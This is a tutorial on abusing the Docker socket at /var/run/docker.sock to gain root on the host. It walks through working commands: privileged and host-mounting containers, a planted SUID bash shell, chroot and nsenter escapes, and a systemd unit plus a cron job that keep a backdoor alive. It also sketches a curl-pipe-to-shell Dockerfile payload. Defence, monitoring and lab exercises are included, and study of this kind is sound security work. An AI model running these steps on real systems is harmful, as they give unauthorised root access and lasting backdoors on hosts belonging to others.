Introduction
The Docker daemon listens by default on the Unix domain socket /var/run/docker.sock. This socket provides a powerful API that allows any process with read/write access to issue full Docker commands - effectively the same level of privilege as the root user on the host. When mis-configured, attackers can abuse this socket to spin up containers, mount the host filesystem, and ultimately gain root on the underlying host.
Understanding socket abuse is critical for defenders because the Docker socket is often unintentionally exposed to low-privileged users, CI pipelines, or web applications running inside containers. The technique is a staple in modern container-centric attack frameworks and has been observed in high-profile breaches.
In this guide we will walk through the entire attack chain - from locating the socket to establishing a durable foothold - while providing mitigation strategies for each step.
Prerequisites
- Solid grasp of Docker basics (images, containers, volumes, daemon operation).
- Familiarity with Linux permissions, namespaces, and basic privilege-escalation concepts.
- Experience with Docker image analysis and the GTFObins catalog for locating useful binaries inside containers.
- Access to a Linux host (or VM) with Docker installed for hands-on labs.
Core Concepts
Before diving into the sub-topics, let’s review the fundamental pieces that make socket abuse possible.
Docker’s Unix socket
The Docker daemon (dockerd) creates a Unix domain socket at /var/run/docker.sock. This socket implements the Docker Engine API over HTTP (JSON-encoded). When a client (e.g., the docker CLI) connects, it can issue POST, GET, DELETE requests to manage containers, images, networks, and more. No additional authentication is performed - the daemon trusts the OS’s file-system permissions.
Permission model
By default the socket is owned by root and the docker group, with mode 660. Any user that is a member of the docker group can act as root via the Docker API. This is why best practice recommends treating membership in the docker group as a privileged operation.
Why the socket is a high-value asset
- It bypasses Linux capabilities - a container can be started with
--privilegedor with host mounts without the attacker needing CAP_SYS_ADMIN directly. - It provides full control over image pulls, enabling the attacker to fetch malicious images from any registry.
- It can be accessed from within containers that bind-mount the socket, creating a “container-in-container” breakout path.
Because of these properties the socket is often dubbed the “root key” of a Docker host.
Locating and enumerating /var/run/docker.sock permissions
Step one is to discover whether the socket exists on the system and what permissions it has. On a typical host the socket resides at /var/run/docker.sock, but custom daemon configurations may place it elsewhere.
# Check default location
if [ -S /var/run/docker.sock ]; then echo "Docker socket found" ls -l /var/run/docker.sock
else echo "Socket not found at default path"
fi
The output will resemble:
srw-rw---- 1 root docker 0 Apr 28 12:34 /var/run/docker.sock
Key fields:
s- socket file.- Owner:
root(cannot be changed without root). - Group:
docker. Any user in this group can read/write. - Permissions:
660- read/write for owner and group only.
If you are a low-privileged user, you can check group membership:
id -nG
If docker appears, you already have full control. If not, you must look for other ways to access the socket, such as:
- Mis-configured services that bind-mount the socket into containers (e.g., CI runners).
- World-readable sockets (mode
666) - rare but occasionally seen in development environments. - Set-UID binaries that open the socket on behalf of the caller.
Leveraging the Docker CLI over the socket without authentication
Once you have read/write access, you can use the Docker CLI to talk directly to the daemon. By default the CLI will use the socket if DOCKER_HOST is unset. However, you can explicitly point it at the socket using the -H flag, which is handy when the socket is in a non-standard location.
docker -H unix:///var/run/docker.sock info
Typical output includes daemon version, storage driver, and a list of containers. If you see this output, you have full control.
Running a one-off container
To test the ability to execute commands, launch a trivial container:
docker -H unix:///var/run/docker.sock run --rm alpine echo "Hello from Docker socket"
The command should print Hello from Docker socket. From here, you can start any image, mount volumes, enable privileged mode, etc.
Using the raw API (curl)
Because the socket speaks HTTP, you can also interact with it using curl and the --unix-socket option. This is useful when you want to script actions without the Docker binary.
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
This returns a JSON array of running containers. You can POST to /containers/create to spin up a new container programmatically.
Creating a malicious container that mounts host filesystem
With socket access, the attacker can create a container that bind-mounts the host’s root filesystem. This is the cornerstone of most Docker socket breakout attacks.
Simple bind-mount example
docker -H unix:///var/run/docker.sock run -d --name hostfs_breakout -v /:/hostfs:rw --restart unless-stopped alpine tail -f /dev/null
Explanation:
-v /:/hostfs:rw- mounts the host’s/into the container at/hostfswith read/write permissions.--restart unless-stopped- ensures the container survives a host reboot (useful for persistence).- We keep the container alive with
tail -f /dev/null.
Once the container is running, you can exec into it and interact with the host’s filesystem:
docker -H unix:///var/run/docker.sock exec -it hostfs_breakout sh
# Inside container
cd /hostfs
ls -l
From inside the container you have effectively the same file-system view as the host’s root user.
Escalating to host root via bind-mount
Even without --privileged, the bind-mount gives you the ability to replace host binaries, edit /etc/passwd, or drop a set-UID root shell. Example - planting a SUID binary:
# Inside the compromised container
cp /bin/bash /hostfs/tmp/bash_root
chmod +s /hostfs/tmp/bash_root
Now on the host, executing /tmp/bash_root spawns a root shell.
Escalating to root on the host via privileged container
Bind-mounting the host filesystem is powerful, but a more straightforward path is to launch a --privileged container. Privileged containers receive all Linux capabilities, can access host devices, and can manipulate cgroups.
Privileged container launch
docker -H unix:///var/run/docker.sock run -d --name privileged_root --privileged -v /:/hostfs:rw alpine sleep 3600
Now exec into it:
docker -H unix:///var/run/docker.sock exec -it privileged_root sh
Inside the container you can directly mount the host’s /proc/1/ns/mnt namespace to gain a view of the host’s mount namespace:
mkdir /host_root
mount --bind /hostfs /host_root
chroot /host_root /bin/sh
At this point you are effectively running a shell on the host with root UID (0). The chroot trick works because the privileged container can perform mount --bind on any host path.
Alternative: Using nsenter from inside the container
If the nsenter binary is present (or you copy it in from the host), you can attach to the host PID 1 namespace:
docker -H unix:///var/run/docker.sock exec -it privileged_root sh -c " cp /usr/bin/nsenter /hostfs/usr/local/bin/ && nsenter -t 1 -m -u -i -n -p sh"
This spawns a root shell attached to the host’s namespaces directly.
Persistence techniques using systemd services or cron via the socket
Gaining root is only half the battle; attackers need to stay after a reboot or Docker service restart. The Docker socket can be abused to install persistent mechanisms that survive host reboots.
Systemd service persistence
From a container with host bind-mount, you can write a systemd unit file to /etc/systemd/system/ and enable it.
# Inside privileged container (hostfs mounted at /hostfs)
cat > /hostfs/etc/systemd/system/docker-abuse.service <<EOF
[Unit]
Description=Malicious Docker Abuse Service
After=network.target
[Service]
ExecStart=/usr/bin/docker -H unix:///var/run/docker.sock run -d --name persistent_backdoor -v /:/hostfs:rw alpine sleep infinity
Restart=always
[Install]
WantedBy=multi-user.target
EOF
# Reload systemd and enable the service
chroot /hostfs systemctl daemon-reload
chroot /hostfs systemctl enable docker-abuse.service
chroot /hostfs systemctl start docker-abuse.service
After a reboot, docker-abuse.service will automatically launch a backdoor container that re-mounts the host filesystem, effectively restoring the attacker’s foothold.
Cron job persistence
Alternatively, a simple cron entry can re-create the malicious container every minute.
cat > /hostfs/etc/cron.d/docker_persist <<'EOF'
* * * * * root docker -H unix:///var/run/docker.sock run -d --rm -v /:/hostfs:rw alpine sh -c "chmod +s /hostfs/tmp/bash_root && echo 'persistence ready'"
EOF
Because the cron daemon runs as root, the entry executes with full privileges, ensuring the SUID shell is recreated if removed.
Practical Examples
Below are three end-to-end scenarios that combine the concepts above.
Scenario 1 - Compromise a CI runner
- The CI job runs inside a container that bind-mounts
/var/run/docker.sockto allow Docker-in-Docker builds. - The attacker adds a step to the pipeline that executes:
docker -H unix:///var/run/docker.sock run -d -v /:/hostfs:rw --privileged alpine sleep 86400 - After the job finishes, the malicious container remains on the host, providing a root shell via
/hostfs/tmp/bash_root.
Scenario 2 - Exploit a mis-configured socket permissions
- A developer accidentally changed the socket mode to
666for debugging. - A low-privileged user runs:
docker -H unix:///var/run/docker.sock ps - They then create a privileged breakout container and set up a systemd unit for persistence as shown earlier.
Scenario 3 - Remote code execution via a web app
Suppose a web application runs inside a container and mounts the Docker socket to perform on-the-fly image builds. An attacker can upload a malicious Dockerfile that runs a RUN curl ... | sh payload. When the app builds the image, the Docker daemon executes the payload on the host, effectively achieving RCE.
Tools & Commands
ls -l /var/run/docker.sock- check permissions.docker -H unix:///var/run/docker.sock info- verify socket access.curl --unix-socket /var/run/docker.sock- raw API query.docker run -d --name X -v /:/hostfs:rw --privileged alpine sleep 3600- privileged breakout.nsenter- attach to host namespaces from inside a container.systemctl daemon-reload && systemctl enable my.service- persist via systemd.crontab -eor editing/etc/cron.d/- cron persistence.
Defense & Mitigation
Protecting the Docker socket is a layered effort.
Principle of least privilege
- Only add trusted users to the
dockergroup. - Remove the group from production hosts where Docker is not needed for interactive users.
Restrict socket exposure
- Never bind-mount
/var/run/docker.sockinto containers unless absolutely required. - If required, use a read-only mount and a proxy that enforces policy (e.g., Docker Authorization Plugins).
Use rootless Docker
Running Docker in rootless mode eliminates the need for a privileged socket - the socket is owned by an unprivileged user namespace, greatly reducing impact.
Audit and monitor
- Log Docker API calls via the daemon’s
--log-level=debugor an audit daemon. - Deploy file-integrity monitoring (e.g.,
AIDE,osquery) on/var/run/docker.sockand/etc/systemd/system/. - Set up alerts for new privileged containers or bind-mounts of
/.
Container runtime security tools
- Tools like
gVisor,Kata Containers, orAppArmorprofiles can limit the damage even if the socket is compromised.
Common Mistakes
- Assuming group membership is safe. In many CI pipelines the
dockergroup is granted to service accounts; attackers can leverage that. - Leaving the socket world-writable. Development environments sometimes set
chmod 666 /var/run/docker.sockfor convenience - a big red flag. - Forgetting to clean up privileged containers. Even after a breach, leftover containers will give the attacker a backdoor.
- Not checking for
--privilegedflags. Attackers often use the flag to bypass SELinux/AppArmor restrictions. - Overlooking bind-mounts of host paths other than
/. Mounting/var/run/docker.socktogether with/etcor/optcan also lead to host compromise.
Real-World Impact
Docker socket abuse has been observed in ransomware campaigns (e.g., LockBit 3.0) where the ransomware encrypted the host after spawning a privileged container. Cloud-native CI/CD platforms (GitLab CI, GitHub Actions) that expose the socket to build containers have been targeted by supply-chain attacks, allowing threat actors to pivot from a compromised build job to full host takeover.
From a defender’s perspective, the risk is amplified in multi-tenant environments (shared Kubernetes nodes) where a malicious pod can mount the host socket and affect the entire node.
My experience shows that most organizations treat the Docker socket as “just another file”, but it is effectively a root-equivalent credential store. Treat it with the same rigor as SSH keys or admin passwords.
Practice Exercises
- Socket discovery: On a fresh VM, locate the Docker socket, change its permissions to
660, add a non-privileged user to thedockergroup, and verify they can rundocker ps. - Breakout container: Using only the socket, spin up a container that mounts the host root and creates a SUID binary. Verify you can obtain a root shell on the host.
- Persistence: Write a systemd unit from inside the breakout container that launches a backdoor container on boot. Simulate a host reboot (or restart
systemd) and confirm persistence. - Defensive hardening: Implement a Docker Authorization Plugin that denies any
--privilegedflag and any bind-mount of/. Test that the previous breakout attempts are blocked. - Audit logging: Enable Docker daemon debug logs, trigger a container creation via the socket, and locate the corresponding log entry. Write a simple script that alerts on privileged container creation.
These labs can be performed on a disposable VM or in a controlled lab environment such as Vagrant + Docker or a cloud sandbox.
Further Reading
- Docker Authorization Plugins - fine-grained API access control.
- GTFOBins - list of binaries that can be abused for privilege escalation inside containers.
- OWASP Container Security Cheat Sheet - best practices for securing Docker and Kubernetes.
- “Breaking the Docker Daemon” (USENIX 2021) - academic analysis of socket abuse.
- Red Team tools:
docker-exploit,dockersh, andcontainer-escapescripts on GitHub.
Summary
- The Docker Unix socket is a powerful, root-equivalent interface; anyone with read/write access can control the daemon.
- Locate the socket, enumerate its permissions, and verify group membership.
- Use the Docker CLI or raw HTTP API to spin up containers, mount the host filesystem, and gain root.
- Privileged containers simplify host namespace takeover; bind-mounts of
/enable SUID binary planting. - Persistence can be achieved via systemd services or cron jobs written through the socket.
- Defend by restricting socket exposure, using rootless Docker, employing authorization plugins, and monitoring for privileged container activity.